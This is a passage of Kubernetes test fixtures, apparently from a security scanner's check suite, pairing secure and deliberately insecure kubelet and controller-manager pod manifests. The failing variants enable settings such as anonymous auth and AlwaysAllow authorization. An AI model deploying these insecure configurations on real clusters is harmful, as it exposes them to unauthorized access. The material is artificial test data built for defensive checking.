requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeControllerManagerServiceAccountCredentials/ApiServer-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-controller-manager tier: control-plane name: kube-controller-manager-enabled namespace: kube-system spec: containers: - command: - kube-controller-manager - --use-service-account-credentials=true image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-controller-manager-should-pass resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeControllerManagerServiceAccountPrivateKeyFile/ApiServer-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-controller-manager tier: control-plane name: kube-controller-manager-no-pem namespace: kube-system spec: containers: - command: - kube-controller-manager - --service-account-private-key-file=public.txt image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-controller-manager-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeControllerManagerServiceAccountPrivateKeyFile/ApiServer-PASSED-2.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-controller-manager tier: control-plane name: kube-controller-manager-none namespace: kube-system spec: containers: - command: - kube-controller-manager image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-controller-manager-should-pass resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeControllerManagerServiceAccountPrivateKeyFile/ApiServer-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-controller-manager tier: control-plane name: kube-controller-manager-pem namespace: kube-system spec: containers: - command: - kube-controller-manager - --service-account-private-key-file=public.pem image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-controller-manager-should-pass resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeControllerManagerTerminatedPods/ApiServer-FAILED-2.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-controller-manager tier: control-plane name: kube-controller-manager-disabled namespace: kube-system spec: containers: - command: - kube-controller-manager - --terminated-pod-gc-threshold=0 image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-controller-manager-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeControllerManagerTerminatedPods/ApiServer-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-controller-manager tier: control-plane name: kube-controller-manager-missing namespace: kube-system spec: containers: - command: - kube-controller-manager image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-controller-manager-should-fail resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeControllerManagerTerminatedPods/ApiServer-PASSED-2.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-controller-manager tier: control-plane name: kube-controller-manager-default namespace: kube-system spec: containers: - command: - kube-controller-manager - --terminated-pod-gc-threshold image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-controller-manager-should-pass resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeControllerManagerTerminatedPods/ApiServer-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-controller-manager tier: control-plane name: kube-controller-manager-enabled namespace: kube-system spec: containers: - command: - kube-controller-manager - --terminated-pod-gc-threshold=55555 image: gcr.io/google_containers/kube-controller-manager-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-controller-manager-should-pass resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeletAnonymousAuth/KubeletAnonymousAuth-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kubelet tier: control-plane name: kubelet namespace: kube-system spec: containers: - command: - kubelet - --anonymous-auth=true image: gcr.io/google_containers/kubelet-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kubelet resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeletAnonymousAuth/KubeletAnonymousAuth-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kubelet tier: control-plane name: kubelet namespace: kube-system spec: containers: - command: - kubelet - --anonymous-auth=false image: gcr.io/google_containers/kubelet-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kubelet resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeletAuthorizationModeNotAlwaysAllow/KubeletAuthorizationModeNotAlwaysAllow-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kubelet tier: control-plane name: kubelet namespace: kube-system spec: containers: - command: - kubelet - --authorization-mode=AlwaysAllow image: gcr.io/google_containers/kubelet-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kubelet resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeletAuthorizationModeNotAlwaysAllow/KubeletAuthorizationModeNotAlwaysAllow-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kubelet tier: control-plane name: kubelet namespace: kube-system spec: containers: - command: - kubelet - --authorization-mode=RBAC,node image: gcr.io/google_containers/kubelet-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kubelet resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeletClientCa/KubeletClientCa-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kubelet tier: control-plane name: kubelet namespace: kube-system spec: containers: - command: - kubelet - --root-ca-file=test.pem image: gcr.io/google_containers/kubelet-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kubelet resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeletClientCa/KubeletClientCa-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kubelet tier: control-plane name: kubelet namespace: kube-system spec: containers: - command: - kubelet - --client-ca-file=/path/to/file image: gcr.io/google_containers/kubelet-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kubelet resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeletCryptographicCiphers/KubeletCryptographicCiphers-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-apiserver tier: control-plane name: kube-apiserver namespace: kube-system spec: containers: - command: - kubelet - --tls-cipher-suites=TLS_ECDHE_ECDSA_WITH_AES_64_GCM_SHA256 image: gcr.io/google_containers/kube-apiserver-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-apiserver resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeletCryptographicCiphers/KubeletCryptographicCiphers-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kube-scheduler tier: control-plane name: kube-scheduler namespace: kube-system spec: containers: - command: - kubelet - --tls-cipher-suites=TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256 image: gcr.io/google_containers/kube-scheduler-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kube-scheduler resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeletHostnameOverride/KubeletHostnameOverride-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kubelet tier: control-plane name: kubelet namespace: kube-system spec: containers: - command: - kubelet - --hostname-override=check.io image: gcr.io/google_containers/kubelet-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kubelet resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeletHostnameOverride/KubeletHostnameOverride-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kubelet tier: control-plane name: kubelet namespace: kube-system spec: containers: - command: - kubelet - --read-only-port=80 image: gcr.io/google_containers/kubelet-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kubelet resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeletKeyFilesSetAppropriate/KubeletKeyFilesSetAppropriate-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kubelet tier: control-plane name: kubelet namespace: kube-system spec: containers: - command: - kubelet - --tls-cert-file=test.pem image: gcr.io/google_containers/kubelet-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kubelet resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeletKeyFilesSetAppropriate/KubeletKeyFilesSetAppropriate-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kubelet tier: control-plane name: kubelet namespace: kube-system spec: containers: - command: - kubelet - --tls-cert-file=test.pem - --tls-private-key-file=test.key image: gcr.io/google_containers/kubelet-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kubelet resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeletMakeIptablesUtilChains/KubeletMakeIptablesUtilChains-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kubelet tier: control-plane name: kubelet namespace: kube-system spec: containers: - command: - kubelet - --make-iptables-util-chains=false image: gcr.io/google_containers/kubelet-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kubelet resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeletMakeIptablesUtilChains/KubeletMakeIptablesUtilChains-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kubelet tier: control-plane name: kubelet namespace: kube-system spec: containers: - command: - kubelet - --make-iptables-util-chains=true image: gcr.io/google_containers/kubelet-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kubelet resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeletProtectKernelDefaults/KubeletProtectKernelDefaults-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kubelet tier: control-plane name: kubelet namespace: kube-system spec: containers: - command: - kubelet - --protect-kernel-defaults=false image: gcr.io/google_containers/kubelet-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kubelet resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeletProtectKernelDefaults/KubeletProtectKernelDefaults-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kubelet tier: control-plane name: kubelet namespace: kube-system spec: containers: - command: - kubelet - --protect-kernel-defaults=true image: gcr.io/google_containers/kubelet-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kubelet resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeletReadOnlyPort/KubeletReadOnlyPort-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kubelet tier: control-plane name: kubelet namespace: kube-system spec: containers: - command: - kubelet - --read-only-port=1 image: gcr.io/google_containers/kubelet-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kubelet resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeletReadOnlyPort/KubeletReadOnlyPort-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kubelet tier: control-plane name: kubelet namespace: kube-system spec: containers: - command: - kubelet - --read-only-port=0 image: gcr.io/google_containers/kubelet-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kubelet resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeletStreamingConnectionIdleTimeout/KubeletStreamingConnectionIdleTimeout-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kubelet tier: control-plane name: kubelet namespace: kube-system spec: containers: - command: - kubelet - --streaming-connection-idle-timeout=0 image: gcr.io/google_containers/kubelet-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kubelet resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubeletStreamingConnectionIdleTimeout/KubeletStreamingConnectionIdleTimeout-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: creationTimestamp: null labels: component: kubelet tier: control-plane name: kubelet namespace: kube-system spec: containers: - command: - kubelet - --streaming-connection-idle-timeout=1 image: gcr.io/google_containers/kubelet-amd64:v1.6.0 livenessProbe: failureThreshold: 8 httpGet: host: 127.0.0.1 path: /healthz port: 6443 scheme: HTTPS initialDelaySeconds: 15 timeoutSeconds: 15 name: kubelet resources: requests: cpu: 250m volumeMounts: - mountPath: /etc/kubernetes/ name: k8s readOnly: true - mountPath: /etc/ssl/certs name: certs - mountPath: /etc/pki name: pki hostNetwork: true volumes: - hostPath: path: /etc/kubernetes name: k8s - hostPath: path: /etc/ssl/certs name: certs - hostPath: path: /etc/pki name: pki ================================================ FILE: tests/kubernetes/checks/example_KubernetesDashboard/kube-dashboard-FAILED.yaml ================================================ --- # Source: kubernetes-dashboard/templates/serviceaccount.yaml apiVersion: v1 kind: ServiceAccount metadata: labels: app: kubernetes-dashboard chart: kubernetes-dashboard-1.10.1 heritage: Helm release: helm name: helm-kubernetes-dashboard namespace: default --- # Source: kubernetes-dashboard/templates/secret.yaml apiVersion: v1 kind: Secret metadata: labels: app: kubernetes-dashboard chart: kubernetes-dashboard-1.10.1 heritage: Helm release: helm name: helm-kubernetes-dashboard namespace: default type: Opaque --- # Source: kubernetes-dashboard/templates/role.yaml apiVersion: rbac.authorization.k8s.io/v1 kind: Role metadata: labels: app: kubernetes-dashboard chart: kubernetes-dashboard-1.10.1 heritage: Helm release: helm name: helm-kubernetes-dashboard namespace: default rules: # Allow Dashboard to create 'kubernetes-dashboard-key-holder' secret. - apiGroups: - "" resources: - secrets verbs: - create # Allow Dashboard to create 'kubernetes-dashboard-settings' config map. - apiGroups: - "" resources: - configmaps verbs: - create # Allow Dashboard to get, update and delete Dashboard exclusive secrets. - apiGroups: - "" resources: - secrets resourceNames: - kubernetes-dashboard-key-holder - helm-kubernetes-dashboard verbs: - get - update - delete # Allow Dashboard to get and update 'kubernetes-dashboard-settings' config map. - apiGroups: - "" resources: - configmaps resourceNames: - kubernetes-dashboard-settings verbs: - get - update # Allow Dashboard to get metrics from heapster. - apiGroups: - "" resources: - services resourceNames: - heapster verbs: - proxy - apiGroups: - "" resources: - services/proxy resourceNames: - heapster - "http:heapster:" - "https:heapster:" verbs: - get --- # Source: kubernetes-dashboard/templates/rolebinding.yaml # Role binding for clusterAdminRole == false and clusterReadOnlyRole=false apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: labels: app: kubernetes-dashboard chart: kubernetes-dashboard-1.10.1 heritage: Helm release: helm name: helm-kubernetes-dashboard namespace: default roleRef: apiGroup: rbac.authorization.k8s.io kind: Role name: helm-kubernetes-dashboard subjects: - kind: ServiceAccount name: helm-kubernetes-dashboard namespace: default --- # Source: kubernetes-dashboard/templates/svc.yaml apiVersion: v1 kind: Service metadata: name: helm-kubernetes-dashboard labels: app: kubernetes-dashboard chart: kubernetes-dashboard-1.10.1 release: helm heritage: Helm kubernetes.io/cluster-service: "true" spec: type: ClusterIP ports: - port: 443 targetPort: 8443 name: "https" selector: app: kubernetes-dashboard release: helm --- # Source: kubernetes-dashboard/templates/deployment.yaml apiVersion: apps/v1 kind: Deployment metadata: name: helm-kubernetes-dashboard labels: app: kubernetes-dashboard chart: kubernetes-dashboard-1.10.1 release: helm heritage: Helm spec: replicas: 1 strategy: rollingUpdate: maxSurge: 0 maxUnavailable: 1 type: RollingUpdate selector: matchLabels: app: kubernetes-dashboard release: helm template: metadata: labels: app: kubernetes-dashboard release: helm spec: serviceAccountName: helm-kubernetes-dashboard containers: - name: kubernetes-dashboard image: "k8s.gcr.io/kubernetes-dashboard-amd64:v1.10.1" imagePullPolicy: IfNotPresent args: - --auto-generate-certificates ports: - name: https containerPort: 8443 protocol: TCP volumeMounts: - name: kubernetes-dashboard-certs mountPath: /certs # Create on-disk volume to store exec logs - mountPath: /tmp name: tmp-volume livenessProbe: httpGet: scheme: HTTPS path: / port: 8443 initialDelaySeconds: 30 timeoutSeconds: 30 resources: limits: cpu: 100m memory: 100Mi requests: cpu: 100m memory: 100Mi volumes: - name: kubernetes-dashboard-certs secret: secretName: helm-kubernetes-dashboard - name: tmp-volume emptyDir: {} ================================================ FILE: tests/kubernetes/checks/example_KubernetesDashboard/kube-dashboard-no-image-FAILED.yaml ================================================ apiVersion: v1 kind: Pod metadata: labels: app: kubernetes-dashboard spec: containers: - name: ccc ================================================ FILE: tests/kubernetes/checks/example_KubernetesDashboard/kube-dashboard-no-image-PASSED.yaml ================================================ apiVersion: v1 kind: Pod metadata: labels: aaa: bbb spec: containers: - name: ccc ================================================ FILE: tests/kubernetes/checks/example_KubernetesDashboard/kubernetes-dashboard-deployment.yaml ================================================ # Copyright 2017 The Kubernetes Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. --- kind: Deployment apiVersion: apps/v1 metadata: labels: k8s-app: kubernetes-dashboard name: kubernetes-dashboard namespace: kubernetes-dashboard spec: replicas: 1 revisionHistoryLimit: 10 selector: matchLabels: k8s-app: kubernetes-dashboard template: metadata: labels: k8s-app: kubernetes-dashboard spec: containers: - name: kubernetes-dashboard image: kubernetesui/dashboard:v2.0.0-rc7 imagePullPolicy: Always ports: - containerPort: 8443 protocol: TCP args: - --auto-generate-certificates - --namespace=kubernetes-dashboard # Uncomment the following line to manually specify Kubernetes API server Host # If not specified, Dashboard will attempt to auto discover the API server and connect # to it. Uncomment only if the default does not work. # - --apiserver-host=http://my-address:port volumeMounts: - name: kubernetes-dashboard-certs mountPath: /certs # Create on-disk volume to store exec logs - mountPath: /tmp name: tmp-volume livenessProbe: httpGet: scheme: HTTPS path: / port: 8443 initialDelaySeconds: 30 